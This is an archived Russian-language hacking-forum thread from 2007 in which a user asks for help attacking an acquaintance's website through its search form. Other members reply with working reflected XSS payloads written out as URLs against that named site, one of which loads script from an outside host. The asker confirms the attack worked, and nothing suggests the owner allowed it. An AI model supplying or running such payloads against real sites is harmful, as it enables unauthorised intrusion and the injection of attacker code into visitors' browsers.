PDA

Просмотр полной версии : Помогите с Xss


Zhenek
30.11.2007, 18:56
Вот хочу сайт знакомого разлатать на XSS
Там пробовал поиск дрюкать.

http://byte.z52.ru/Search.php

В поиск подставлял

\"\"<script>alert("")</script>

Смотрел вроде он слова <script> пропустил а вот alert подпортил.

Может кто поможет??? несколько часов убил на него.

Очень надеюсь на помощь. Тут уже интерес появился,нужна помощь(

TrypoED
30.11.2007, 19:13
Я не понял вопроса ( Ты хочешь чтобы алерт вылетел ?

bul.666
30.11.2007, 19:17
http://byte.z52.ru/Search.php?dosearch=yes&story=%22%3E%3Cscript+src%3Dhttp%3A%2F%2Flamer-power.jino-net.ru%2Fs%3E+%3C%2Fscript%3E

Exlibris
30.11.2007, 19:21
Zhenek пиши например так
"><script>alert(/123/)</script>

ZAMUT
30.11.2007, 19:23
http://byte.z52.ru/Search.php?dosearch=yes&story=%22%3E%3Cscript%3Ealert%28%29%3C%2Fscript%3E&title=&user=&from_date_day=&from_date_month=&from_date_year=&to_date_day=&to_date_month=&to_date_year=

Solide Snake
30.11.2007, 20:15
Блин, ну для кого эта (http://forum.antichat.ru/thread46016.html) тема?
Зачем новую создавать?

Zhenek
01.12.2007, 03:20
Все вышеперечисленное неработает(((
Я уже пробовал закрывать тех,но появляется заного страница и там нет моего кода.. Думаю его вырезели...

BlackCats
01.12.2007, 03:30
http://old.antichat.ru/crackchat/HTML/
+
то что написал булка - работает.

Zhenek
01.12.2007, 06:03
Спасибо.. Все заработало.. просто у меня картинки были отключены а без них надпись не появляется)))